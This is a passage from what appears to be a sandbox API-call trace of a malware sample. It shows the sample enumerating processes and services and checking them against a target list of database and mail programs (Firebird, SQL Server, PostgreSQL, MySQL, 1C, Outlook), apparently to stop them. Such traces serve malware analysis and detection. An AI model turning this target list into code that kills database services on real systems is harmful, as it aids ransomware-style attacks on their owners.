th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0139.211] lstrlenW (lpString="reader_sl.exe") returned 13 [0139.211] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0139.211] lstrlenW (lpString="dllhost.exe") returned 11 [0139.211] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0139.211] CloseHandle (hObject=0x210) returned 1 [0139.212] Sleep (dwMilliseconds=0x1f4) [0140.427] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d89c8 [0140.623] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0140.760] GetLastError () returned 0xea [0140.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe3c) returned 0x41d77b8 [0140.760] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xe3c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0140.760] CloseServiceHandle (hSCObject=0x41d89c8) returned 1 [0140.761] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0140.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.761] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0140.761] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0140.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0140.761] lstrlenW (lpString="AudioSrv") returned 8 [0140.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0140.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0140.761] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0140.761] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0140.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0140.761] lstrlenW (lpString="BFE") returned 3 [0140.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0140.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0140.762] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0140.762] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0140.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0140.762] lstrlenW (lpString="CryptSvc") returned 8 [0140.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0140.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0140.762] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0140.762] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0140.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0140.762] lstrlenW (lpString="CscService") returned 10 [0140.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0140.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0140.762] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0140.762] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0140.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0140.762] lstrlenW (lpString="DcomLaunch") returned 10 [0140.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.762] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0140.762] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0140.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0140.762] lstrlenW (lpString="Dhcp") returned 4 [0140.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0140.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0140.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0140.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0140.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0140.763] lstrlenW (lpString="Dnscache") returned 8 [0140.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0140.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0140.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0140.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0140.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0140.763] lstrlenW (lpString="DPS") returned 3 [0140.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0140.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0140.763] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0140.763] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0140.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0140.763] lstrlenW (lpString="eventlog") returned 8 [0140.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0140.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0140.763] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0140.763] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0140.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0140.763] lstrlenW (lpString="EventSystem") returned 11 [0140.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0140.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0140.763] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0140.763] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0140.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0140.763] lstrlenW (lpString="gpsvc") returned 5 [0140.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0140.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0140.763] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0140.763] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0140.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0140.764] lstrlenW (lpString="iphlpsvc") returned 8 [0140.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0140.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0140.764] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0140.764] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0140.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0140.764] lstrlenW (lpString="LanmanWorkstation") returned 17 [0140.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.764] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0140.764] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0140.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0140.764] lstrlenW (lpString="lmhosts") returned 7 [0140.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0140.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0140.764] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0140.764] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0140.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0140.764] lstrlenW (lpString="MMCSS") returned 5 [0140.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0140.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0140.764] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0140.764] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0140.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0140.764] lstrlenW (lpString="MpsSvc") returned 6 [0140.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0140.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0140.765] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0140.765] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0140.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0140.765] lstrlenW (lpString="NlaSvc") returned 6 [0140.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0140.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0140.765] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0140.765] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0140.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0140.765] lstrlenW (lpString="nsi") returned 3 [0140.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0140.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0140.765] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0140.765] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0140.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0140.765] lstrlenW (lpString="PcaSvc") returned 6 [0140.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0140.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0140.765] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0140.765] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0140.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0140.765] lstrlenW (lpString="PlugPlay") returned 8 [0140.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0140.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0140.765] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0140.765] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0140.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0140.765] lstrlenW (lpString="Power") returned 5 [0140.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0140.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0140.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0140.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0140.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0140.766] lstrlenW (lpString="ProfSvc") returned 7 [0140.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0140.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0140.766] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0140.766] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0140.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0140.766] lstrlenW (lpString="RpcEptMapper") returned 12 [0140.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.766] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0140.766] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0140.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0140.766] lstrlenW (lpString="RpcSs") returned 5 [0140.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0140.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0140.766] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0140.766] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0140.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0140.766] lstrlenW (lpString="SamSs") returned 5 [0140.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0140.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0140.766] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0140.766] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0140.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0140.766] lstrlenW (lpString="Schedule") returned 8 [0140.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0140.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0140.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0140.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0140.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0140.767] lstrlenW (lpString="SENS") returned 4 [0140.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0140.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0140.767] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0140.767] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0140.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0140.767] lstrlenW (lpString="ShellHWDetection") returned 16 [0140.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.767] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0140.767] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0140.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0140.767] lstrlenW (lpString="Spooler") returned 7 [0140.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0140.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0140.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0140.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0140.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0140.767] lstrlenW (lpString="SysMain") returned 7 [0140.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0140.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0140.767] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0140.767] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0140.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0140.767] lstrlenW (lpString="Themes") returned 6 [0140.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0140.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0140.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0140.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0140.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0140.768] lstrlenW (lpString="TrkWks") returned 6 [0140.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0140.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0140.768] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0140.768] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0140.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0140.768] lstrlenW (lpString="UxSms") returned 5 [0140.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0140.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0140.768] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0140.768] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0140.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0140.768] lstrlenW (lpString="Winmgmt") returned 7 [0140.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0140.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0140.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0140.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0140.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0140.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0140.768] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0140.771] Process32FirstW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.771] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0140.772] lstrlenW (lpString="System") returned 6 [0140.772] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0140.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0140.772] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0140.772] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0140.772] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0140.772] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0140.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0140.772] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0140.773] lstrlenW (lpString="smss.exe") returned 8 [0140.773] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0140.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0140.773] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0140.773] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0140.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0140.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0140.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0140.773] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.773] lstrlenW (lpString="csrss.exe") returned 9 [0140.773] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0140.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0140.774] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0140.774] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0140.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0140.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0140.774] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0140.774] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0140.774] lstrlenW (lpString="wininit.exe") returned 11 [0140.774] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0140.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0140.774] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0140.774] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0140.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0140.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0140.774] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0140.774] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.775] lstrlenW (lpString="csrss.exe") returned 9 [0140.775] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0140.775] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0140.775] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0140.775] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0140.775] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0140.775] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0140.775] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0140.775] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0140.775] lstrlenW (lpString="winlogon.exe") returned 12 [0140.775] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0140.775] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0140.775] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0140.775] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0140.775] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0140.775] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0140.775] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0140.775] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0140.776] lstrlenW (lpString="services.exe") returned 12 [0140.776] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0140.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0140.776] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0140.776] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0140.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0140.776] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0140.776] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0140.776] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0140.777] lstrlenW (lpString="lsass.exe") returned 9 [0140.777] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0140.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0140.777] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0140.777] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0140.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0140.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0140.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0140.777] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, 